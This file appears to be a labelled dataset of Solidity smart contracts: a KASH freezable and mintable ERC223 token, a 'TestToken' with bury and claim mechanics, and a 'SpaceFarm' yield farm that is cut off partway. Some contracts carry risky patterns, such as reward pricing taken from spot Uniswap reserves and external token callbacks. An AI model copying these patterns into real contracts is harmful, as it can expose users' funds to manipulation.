address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "KASH";
string constant TOKEN_SYMBOL = "KASH";
bool constant PAUSED = true;
address constant TARGET_USER = 0xA4461465531a90dF04f52873507B7C5920165b5d;
uint constant START_TIME = 1523160014;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 2,724 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TestToken {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public funds;
address public director;
bool public saleClosed;
bool public directorLock;
uint256 public claimAmount;
uint256 public payAmount;
uint256 public feeAmount;
uint256 public epoch;
uint256 public retentionMax;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public buried;
mapping (address => uint256) public claimed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _from, uint256 _value);
event Bury(address indexed _target, uint256 _value);
event Claim(address indexed _target, address indexed _payout, address indexed _fee);
function TestToken() public {
director = msg.sender;
name = "test token";
symbol = "TTT";
decimals = 8;
saleClosed = false;
directorLock = false;
funds = 0;
totalSupply = 0;
totalSupply += 4000000 * 10 ** uint256(decimals);
balances[director] = totalSupply;
claimAmount = 5 * 10 ** (uint256(decimals) - 1);
payAmount = 4 * 10 ** (uint256(decimals) - 1);
feeAmount = 1 * 10 ** (uint256(decimals) - 1);
epoch = 31536000;
retentionMax = 40 * 10 ** uint256(decimals);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
modifier onlyDirector {
require(!directorLock);
require(msg.sender == director);
_;
}
modifier onlyDirectorForce {
require(msg.sender == director);
_;
}
function transferDirector(address newDirector) public onlyDirectorForce {
director = newDirector;
}
function withdrawFunds() public onlyDirectorForce {
director.transfer(this.balance);
}
function selfLock() public payable onlyDirector {
require(saleClosed);
require(msg.value == 10 ether);
directorLock = true;
}
function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) {
require(claimAmountSet == (payAmountSet + feeAmountSet));
claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy);
payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy);
feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function amendEpoch(uint256 epochSet) public onlyDirector returns (bool success) {
epoch = epochSet;
return true;
}
function amendRetention(uint8 retentionSet, uint8 accuracy) public onlyDirector returns (bool success) {
retentionMax = retentionSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function closeSale() public onlyDirector returns (bool success) {
require(!saleClosed);
saleClosed = true;
return true;
}
function openSale() public onlyDirector returns (bool success) {
require(saleClosed);
saleClosed = false;
return true;
}
function bury() public returns (bool success) {
require(!buried[msg.sender]);
require(balances[msg.sender] >= claimAmount);
require(balances[msg.sender] <= retentionMax);
buried[msg.sender] = true;
claimed[msg.sender] = 1;
Bury(msg.sender, balances[msg.sender]);
return true;
}
function claim(address _payout, address _fee) public returns (bool success) {
require(buried[msg.sender]);
require(_payout != _fee);
require(msg.sender != _payout);
require(msg.sender != _fee);
require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch);
require(balances[msg.sender] >= claimAmount);
claimed[msg.sender] = block.timestamp;
uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee];
balances[msg.sender] -= claimAmount;
balances[_payout] += payAmount;
balances[_fee] += feeAmount;
Claim(msg.sender, _payout, _fee);
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances);
return true;
}
function () public payable {
require(!saleClosed);
require(msg.value >= 1 finney);
uint256 amount = msg.value * 50000;
require(totalSupply + amount <= (5000000 * 10 ** uint256(decimals)));
totalSupply += amount;
balances[msg.sender] += amount;
funds += msg.value;
Transfer(this, msg.sender, amount);
}
function _transfer(address _from, address _to, uint _value) internal {
require(!buried[_from]);
if (buried[_to]) {
require(balances[_to] + _value <= retentionMax);
}
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!buried[_from]);
require(balances[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balances[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,031 |
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface IMigratorChef {
function migrate(IERC20 token) external returns (IERC20);
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract SpaceFarm is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
uint256 amount;
mapping (uint256 => uint256) pendingTesta;
mapping (uint256 => uint256) rewardDebt;
}
struct PoolInfo {
IERC20 jETHToken;
IUniswapV2Pair uniswap;
uint112 startLiquidity;
uint256 allocPoint;
uint256 lastRewardBlock;
uint256 accTestaPerShare;
uint256 debtIndexKey;
uint256 startBlock;
uint256 initStartBlock;
}
address public testa;
address public jTesta;
uint256 public testaPerBlock;
uint256 public jTestaAmount;
uint256 public constant BONUS_MULTIPLIER = 10;
IMigratorChef public migrator;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public activeReward = 10;
int public progressive = 0;
int public maxProgressive;
int public minProgressive;
uint256 public numberOfBlock;
uint112 public startLiquidity;
uint112 public currentLiquidity;
AggregatorV3Interface public priceFeed;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
address _testa,
address _jTesta,
address _priceFeed,
int _minProgressive,
int _maxProgressive,
uint256 activateAtBlock,
uint256 _testaPerBlock,
uint256 _jTestaAmount
) public {
testa = _testa;
jTesta = _jTesta;
priceFeed = AggregatorV3Interface(_priceFeed);
minProgressive = _minProgressive;
maxProgressive = _maxProgressive;
numberOfBlock = activateAtBlock;
testaPerBlock = _testaPerBlock;
jTestaAmount = _jTestaAmount;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "Not EOA");
_;
}
modifier validPool(uint256 _pid) {
require(_pid < poolInfo.length);
_;
}
function setjTestaAmount(uint256 _jTestaAmount) public onlyOwner {
jTestaAmount = _jTestaAmount;
}
function setTestaPerBlock(uint256 _testaPerBlock) public onlyOwner{
testaPerBlock = _testaPerBlock;
}
function setProgressive(int _maxProgressive, int _minProgressive) public onlyOwner{
maxProgressive = _maxProgressive;
minProgressive = _minProgressive;
}
function setNumberOfBlock(uint256 _numberOfBlock) public onlyOwner{
numberOfBlock = _numberOfBlock;
}
function setActiveReward(uint256 _activeReward) public onlyOwner{
activeReward = _activeReward;
}
function harvestAndWithdraw(uint256 _pid, uint256 _amount) public nonReentrant validPool(_pid) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 jETHSupply = pool.jETHToken.balanceOf(address(this));
require(getCountDown(_pid) <= numberOfBlock);
require((progressive == maxProgressive) && (jETHSupply != 0), "Must have jETHSupply and reach maxProgressive to harvest");
require(user.amount >= _amount, "No jETHToken cannot withdraw");
updatePool(_pid);
uint256 testaAmount = pendingTesta( _pid, msg.sender);
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
pool.jETHToken.safeTransfer(address(msg.sender), _amount);
safeTestaTransfer(msg.sender, testaAmount);
}
emit Withdraw(msg.sender, _pid, _amount);
}
function harvest(uint256 _pid) public nonReentrant validPool(_pid) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 lpSupply = pool.jETHToken.balanceOf(address(this));
require(getCountDown(_pid) <= numberOfBlock);
require((progressive == maxProgressive) && (lpSupply != 0), "Must have jETHSupply and reach maxProgressive to harvest");
require(user.amount > 0, "No jETHToken cannot withdraw");
updatePool(_pid);
uint256 testaAmount = pendingTesta( _pid, msg.sender);
user.rewardDebt[pool.debtIndexKey] = user.amount.mul(pool.accTestaPerShare).div(1e18);
user.pendingTesta[pool.debtIndexKey] = 0;
safeTestaTransfer(msg.sender, testaAmount);
}
function firstActivate(uint256 _pid) public onlyEOA nonReentrant validPool(_pid) {
require(IERC20(jTesta).balanceOf(msg.sender) >= jTestaAmount, "Insufficient jTesta amount");
currentLiquidity = getLiquidity(_pid);
PoolInfo storage pool = poolInfo[_pid];
require(pool.initStartBlock == pool.startBlock);
require(block.number >= pool.initStartBlock, "Cannot activate until the specific block time arrive");
pool.startBlock = getLatestBlock();
pool.startLiquidity = currentLiquidity;
safeTestaTransfer(msg.sender, getTestaReward(_pid));
}
function activate(uint256 _pid) public onlyEOA nonReentrant validPool(_pid) {
require(IERC20(jTesta).balanceOf(msg.sender) >= jTestaAmount, "Insufficient jTesta amount");
currentLiquidity = getLiquidity(_pid);
PoolInfo storage pool = poolInfo[_pid];
require(pool.initStartBlock != pool.startBlock);
require(getCountDown(_pid) >= numberOfBlock, "Cannot activate until specific amount of blocks pass");
if(currentLiquidity > pool.startLiquidity){
progressive++;
}else{
progressive--;
}
if(progressive <= minProgressive){
progressive = minProgressive;
clearPool(_pid);
}else if(progressive >= maxProgressive){
progressive = maxProgressive;
}
pool.startBlock = getLatestBlock();
pool.startLiquidity = currentLiquidity;
safeTestaTransfer(msg.sender, getTestaReward(_pid));
}
function getTestaPoolBalance() public view returns (uint256){
return IERC20(testa).balanceOf(address(this));
}
function getProgressive() public view returns (int){
return progressive;
}
function getLatestBlock() public view returns (uint256) {
return block.number;
}
function getCountDown(uint256 _pid) public view returns (uint256){
require(getLatestBlock() > getStartedBlock(_pid));
return getLatestBlock().sub(getStartedBlock(_pid));
}
function getStartedBlock(uint256 _pid) public view returns (uint256){
PoolInfo storage pool = poolInfo[_pid];
return pool.startBlock;
}
function getLiquidity(uint256 _pid) public view returns (uint112){
PoolInfo storage pool = poolInfo[_pid];
( , uint112 _reserve1, ) = pool.uniswap.getReserves();
return _reserve1;
}
function getLatestPrice() public view returns (int) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
require(timeStamp > 0, "Round not complete");
return price;
}
function getTestaReward(uint256 _pid) public view returns (uint256){
PoolInfo storage pool = poolInfo[_pid];
(uint112 _reserve0, uint112 _reserve1, ) = pool.uniswap.getReserves();
uint256 reserve = uint256(_reserve0).mul(1e18).div(uint256(_reserve1));
uint256 ethPerDollar = uint256(getLatestPrice()).mul(1e10);
uint256 testaPerDollar = ethPerDollar.mul(1e18).div(reserve);
uint256 _activeReward = activeReward.mul(1e18);
uint256 testaAmount = _activeReward.mul(1e18).div(testaPerDollar);
return testaAmount;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function checkPoolDuplicate(IERC20 jETHToken) internal {
uint256 length = poolInfo.length;
for(uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].jETHToken != jETHToken, "add: existing pool?");
}
}
function add(uint256 startBlock, uint256 _allocPoint, address _lpToken, address _jETHToken, bool _withUpdate) public onlyOwner {
checkPoolDuplicate(IERC20(_jETHToken));
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
IUniswapV2Pair uniswap = IUniswapV2Pair(_lpToken);
( , uint112 _reserve1, ) = uniswap.getReserves();
poolInfo.push(PoolInfo({
jETHToken: IERC20(_jETHToken),
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accTestaPerShare: 0,
debtIndexKey: 0,
uniswap: uniswap,
startLiquidity: _reserve1,
startBlock: startBlock,
initStartBlock: startBlock
}));
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner validPool(_pid) {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from);
}
function clearPool(uint256 _pid) internal validPool(_pid) {
PoolInfo storage pool = poolInfo[_pid];
pool.accTestaPerShare = 0;
pool.lastRewardBlock = block.number;
pool.debtIndexKey++;
}
function pendingTesta(uint256 _pid, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accTestaPerShare = pool.accTestaPerShare;
